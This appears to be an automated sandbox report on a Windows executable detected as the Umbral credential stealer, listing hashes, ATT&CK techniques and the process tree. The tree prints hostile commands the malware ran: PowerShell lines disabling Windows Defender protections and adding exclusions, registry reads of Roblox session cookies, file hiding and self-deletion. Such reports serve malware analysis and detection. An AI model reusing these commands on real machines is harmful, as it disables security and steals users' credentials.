umbral | aa23463d85a070a894711f628356694599b8eeca33e3e3dc161f2ef765932235

Analysis

max time kernel
99s
max time network
93s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
15-07-2024 05:53

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General

Target

BL-Tools-v2.8.3.exe
Size

6.4MB
MD5

3488ad52666afe9800364a9c34f9725d
SHA1

3412ee1bb608e54b5c80c210432ca23c0c3dd766
SHA256

aa23463d85a070a894711f628356694599b8eeca33e3e3dc161f2ef765932235
SHA512

e5f42f9f71557720cb7072a37107be5224020dfa94a49a42a56107b0bd8be84aef28f9191705966861fdd6b7a50ff379c3fc36bd2f56e194142711fe9790d06a
SSDEEP

196608:cLzA2rwXK0ARSWsQPQJvCvHm9EVi9RZckSIJH:0HkKvwxQjHmuiTZckS

Score

10^/10

umbral execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 2 IoCs

resource	yara_rule
behavioral2/files/0x0007000000023498-29.dat	family_umbral
behavioral2/memory/1372-37-0x00000221E3CB0000-0x00000221E3CF0000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4340	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Umbral.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-464762018-485119342-1613148473-1000\Control Panel\International\Geo\Nation	BL-Tools-v2.8.3.exe

Executes dropped EXE 2 IoCs

pid	Process
3984	BLTools 2.8.4 FIX.exe
1372	Umbral.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
29	discord.com
30	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	ip-api.com

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
3984	BLTools 2.8.4 FIX.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
320	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
3036	PING.EXE

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
1372	Umbral.exe
4340	powershell.exe
4340	powershell.exe
1248	powershell.exe
1248	powershell.exe
3448	powershell.exe
3448	powershell.exe
560	powershell.exe
560	powershell.exe
4988	powershell.exe
4988	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2988	BL-Tools-v2.8.3.exe
Token: SeDebugPrivilege	1372	Umbral.exe
Token: SeIncreaseQuotaPrivilege	4280	wmic.exe
Token: SeSecurityPrivilege	4280	wmic.exe
Token: SeTakeOwnershipPrivilege	4280	wmic.exe
Token: SeLoadDriverPrivilege	4280	wmic.exe
Token: SeSystemProfilePrivilege	4280	wmic.exe
Token: SeSystemtimePrivilege	4280	wmic.exe
Token: SeProfSingleProcessPrivilege	4280	wmic.exe
Token: SeIncBasePriorityPrivilege	4280	wmic.exe
Token: SeCreatePagefilePrivilege	4280	wmic.exe
Token: SeBackupPrivilege	4280	wmic.exe
Token: SeRestorePrivilege	4280	wmic.exe
Token: SeShutdownPrivilege	4280	wmic.exe
Token: SeDebugPrivilege	4280	wmic.exe
Token: SeSystemEnvironmentPrivilege	4280	wmic.exe
Token: SeRemoteShutdownPrivilege	4280	wmic.exe
Token: SeUndockPrivilege	4280	wmic.exe
Token: SeManageVolumePrivilege	4280	wmic.exe
Token: 33	4280	wmic.exe
Token: 34	4280	wmic.exe
Token: 35	4280	wmic.exe
Token: 36	4280	wmic.exe
Token: SeIncreaseQuotaPrivilege	4280	wmic.exe
Token: SeSecurityPrivilege	4280	wmic.exe
Token: SeTakeOwnershipPrivilege	4280	wmic.exe
Token: SeLoadDriverPrivilege	4280	wmic.exe
Token: SeSystemProfilePrivilege	4280	wmic.exe
Token: SeSystemtimePrivilege	4280	wmic.exe
Token: SeProfSingleProcessPrivilege	4280	wmic.exe
Token: SeIncBasePriorityPrivilege	4280	wmic.exe
Token: SeCreatePagefilePrivilege	4280	wmic.exe
Token: SeBackupPrivilege	4280	wmic.exe
Token: SeRestorePrivilege	4280	wmic.exe
Token: SeShutdownPrivilege	4280	wmic.exe
Token: SeDebugPrivilege	4280	wmic.exe
Token: SeSystemEnvironmentPrivilege	4280	wmic.exe
Token: SeRemoteShutdownPrivilege	4280	wmic.exe
Token: SeUndockPrivilege	4280	wmic.exe
Token: SeManageVolumePrivilege	4280	wmic.exe
Token: 33	4280	wmic.exe
Token: 34	4280	wmic.exe
Token: 35	4280	wmic.exe
Token: 36	4280	wmic.exe
Token: SeDebugPrivilege	4340	powershell.exe
Token: SeDebugPrivilege	1248	powershell.exe
Token: SeDebugPrivilege	3448	powershell.exe
Token: SeDebugPrivilege	560	powershell.exe
Token: SeIncreaseQuotaPrivilege	3172	wmic.exe
Token: SeSecurityPrivilege	3172	wmic.exe
Token: SeTakeOwnershipPrivilege	3172	wmic.exe
Token: SeLoadDriverPrivilege	3172	wmic.exe
Token: SeSystemProfilePrivilege	3172	wmic.exe
Token: SeSystemtimePrivilege	3172	wmic.exe
Token: SeProfSingleProcessPrivilege	3172	wmic.exe
Token: SeIncBasePriorityPrivilege	3172	wmic.exe
Token: SeCreatePagefilePrivilege	3172	wmic.exe
Token: SeBackupPrivilege	3172	wmic.exe
Token: SeRestorePrivilege	3172	wmic.exe
Token: SeShutdownPrivilege	3172	wmic.exe
Token: SeDebugPrivilege	3172	wmic.exe
Token: SeSystemEnvironmentPrivilege	3172	wmic.exe
Token: SeRemoteShutdownPrivilege	3172	wmic.exe
Token: SeUndockPrivilege	3172	wmic.exe

Suspicious use of WriteProcessMemory 31 IoCs

description	pid	Process	procid_target
PID 2988 wrote to memory of 3984	2988	BL-Tools-v2.8.3.exe	85
PID 2988 wrote to memory of 3984	2988	BL-Tools-v2.8.3.exe	85
PID 2988 wrote to memory of 3984	2988	BL-Tools-v2.8.3.exe	85
PID 2988 wrote to memory of 1372	2988	BL-Tools-v2.8.3.exe	89
PID 2988 wrote to memory of 1372	2988	BL-Tools-v2.8.3.exe	89
PID 1372 wrote to memory of 4280	1372	Umbral.exe	90
PID 1372 wrote to memory of 4280	1372	Umbral.exe	90
PID 1372 wrote to memory of 4220	1372	Umbral.exe	92
PID 1372 wrote to memory of 4220	1372	Umbral.exe	92
PID 1372 wrote to memory of 4340	1372	Umbral.exe	94
PID 1372 wrote to memory of 4340	1372	Umbral.exe	94
PID 1372 wrote to memory of 1248	1372	Umbral.exe	96
PID 1372 wrote to memory of 1248	1372	Umbral.exe	96
PID 1372 wrote to memory of 3448	1372	Umbral.exe	98
PID 1372 wrote to memory of 3448	1372	Umbral.exe	98
PID 1372 wrote to memory of 560	1372	Umbral.exe	100
PID 1372 wrote to memory of 560	1372	Umbral.exe	100
PID 1372 wrote to memory of 3172	1372	Umbral.exe	102
PID 1372 wrote to memory of 3172	1372	Umbral.exe	102
PID 1372 wrote to memory of 2860	1372	Umbral.exe	104
PID 1372 wrote to memory of 2860	1372	Umbral.exe	104
PID 1372 wrote to memory of 3728	1372	Umbral.exe	106
PID 1372 wrote to memory of 3728	1372	Umbral.exe	106
PID 1372 wrote to memory of 4988	1372	Umbral.exe	108
PID 1372 wrote to memory of 4988	1372	Umbral.exe	108
PID 1372 wrote to memory of 320	1372	Umbral.exe	110
PID 1372 wrote to memory of 320	1372	Umbral.exe	110
PID 1372 wrote to memory of 2648	1372	Umbral.exe	112
PID 1372 wrote to memory of 2648	1372	Umbral.exe	112
PID 2648 wrote to memory of 3036	2648	cmd.exe	114
PID 2648 wrote to memory of 3036	2648	cmd.exe	114

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
4220	attrib.exe

C:\Users\Admin\AppData\Local\Temp\BL-Tools-v2.8.3.exe
"C:\Users\Admin\AppData\Local\Temp\BL-Tools-v2.8.3.exe"
1⤵
- Checks computer location settings
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2988
- C:\Users\Admin\AppData\Local\Temp\BLTools 2.8.4 FIX.exe
  "C:\Users\Admin\AppData\Local\Temp\BLTools 2.8.4 FIX.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  PID:3984
- C:\Users\Admin\AppData\Local\Temp\Umbral.exe
  "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
  2⤵
  - Drops file in Drivers directory
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1372
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" csproduct get uuid
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4280
- - C:\Windows\SYSTEM32\attrib.exe
    "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
    3⤵
    - Views/modifies file attributes
    PID:4220
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Umbral.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4340
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1248
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3448
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:560
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" os get Caption
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3172
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" computersystem get totalphysicalmemory
    3⤵
    PID:2860
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" csproduct get uuid
    3⤵
    PID:3728
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:4988
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic" path win32_VideoController get name
    3⤵
    - Detects videocard installed
    PID:320
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Umbral.exe" && pause
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2648
  - - C:\Windows\system32\PING.EXE
      ping localhost
      4⤵
      Runs ping.exe
      PID:3036

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
548dd08570d121a65e82abb7171cae1c

SHA1
1a1b5084b3a78f3acd0d811cc79dbcac121217ab

SHA256
cdf17b8532ebcebac3cfe23954a30aa32edd268d040da79c82687e4ccb044adc

SHA512
37b98b09178b51eec9599af90d027d2f1028202efc1633047e16e41f1a95610984af5620baac07db085ccfcb96942aafffad17aa1f44f63233e83869dc9f697b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
0dfa23c8382ea4711ba7eee065a063ed

SHA1
249319e8efedeccc9aa57272f008a308bf97b675

SHA256
48bd4157137a3171568c13929dc30862bb704bb04426e4d154c23010ba129f8c

SHA512
66aa911693145f702f36795053a002c39441b57c7a72b35e5ee23218a2abef1e5065ad22220f5948856eeb72559844696d9e40e93ae2240ed10f7f5df3fbcf73

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
6d3e9c29fe44e90aae6ed30ccf799ca8

SHA1
c7974ef72264bbdf13a2793ccf1aed11bc565dce

SHA256
2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d

SHA512
60c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
df6c4e5c3091c14551e6c92f07717617

SHA1
1ea87111035496c1b2b74cef8b5c62d00ac072c9

SHA256
b79dc75372707ff84a643a9e4cff6fad2d1a936b54d458088850c62c96e2f231

SHA512
ab861efd0ff28a4bae3513a884d5b00c1b68d8f0bd54a00428bbb65a6954f8778e8f5300362025265251cb425c5ed77608b10776f382c3b392916ae46e38db35

Download Submit
C:\Users\Admin\AppData\Local\Temp\BLTools 2.8.4 FIX.exe

Filesize
3.1MB

MD5
fe611814d50bd962d1d85e3fb7425ff8

SHA1
25ca8e5f48d694d4f715bf5a299062f4a979aefd

SHA256
747072a4094dd0004d84abd221863ca2db676853c5ca27dd9b962650790a6472

SHA512
a7a8dad9e6fdfd515203d6165fd9a89902c9d82adaa4bd24992a6e991501317bafaa3066ebbae17ecf0223e7a25aacc098c3449fa7533529c2eba79acf85ef14

Download Submit
C:\Users\Admin\AppData\Local\Temp\Umbral.exe

Filesize
229KB

MD5
4a2673a8ceb3c0afb830cb145d1bb9fe

SHA1
8b12f4955e53b2fdb150cf29aa9fc01e8937c14e

SHA256
4cb6bb75074c44c2a773918ae253e711c364d17519f903e3bcb6c4c50747f279

SHA512
4b41674a2a691b0b5cf80e3768ca8add7971fc94b812c06c102be3075bfcb859a62fb11bd87880d05239f03e09bb3d627e26d4eebc9f97a83139b62b04304f77

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0phvgs4i.5tr.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1372-38-0x00007FFE877E3000-0x00007FFE877E5000-memory.dmp

Filesize
8KB

Download
memory/1372-107-0x00000221FE5F0000-0x00000221FE602000-memory.dmp

Filesize
72KB

Download
memory/1372-37-0x00000221E3CB0000-0x00000221E3CF0000-memory.dmp

Filesize
256KB

Download
memory/1372-106-0x00000221E5AD0000-0x00000221E5ADA000-memory.dmp

Filesize
40KB

Download
memory/1372-68-0x00000221FE470000-0x00000221FE4E6000-memory.dmp

Filesize
472KB

Download
memory/1372-69-0x00000221FE3F0000-0x00000221FE440000-memory.dmp

Filesize
320KB

Download
memory/1372-70-0x00000221E5A80000-0x00000221E5A9E000-memory.dmp

Filesize
120KB

Download
memory/2988-39-0x00007FFE877E0000-0x00007FFE882A1000-memory.dmp

Filesize
10.8MB

Download
memory/2988-1-0x0000000000400000-0x0000000000A6E000-memory.dmp

Filesize
6.4MB

Download
memory/2988-0-0x00007FFE877E3000-0x00007FFE877E5000-memory.dmp

Filesize
8KB

Download
memory/2988-2-0x00007FFE877E0000-0x00007FFE882A1000-memory.dmp

Filesize
10.8MB

Download
memory/3984-20-0x0000000000790000-0x0000000000EB0000-memory.dmp

Filesize
7.1MB

Download
memory/3984-63-0x00000000052F0000-0x00000000052F1000-memory.dmp

Filesize
4KB

Download
memory/3984-18-0x00000000744EE000-0x00000000744EF000-memory.dmp

Filesize
4KB

Download
memory/4340-40-0x000001AA29000000-0x000001AA29022000-memory.dmp

Filesize
136KB

Download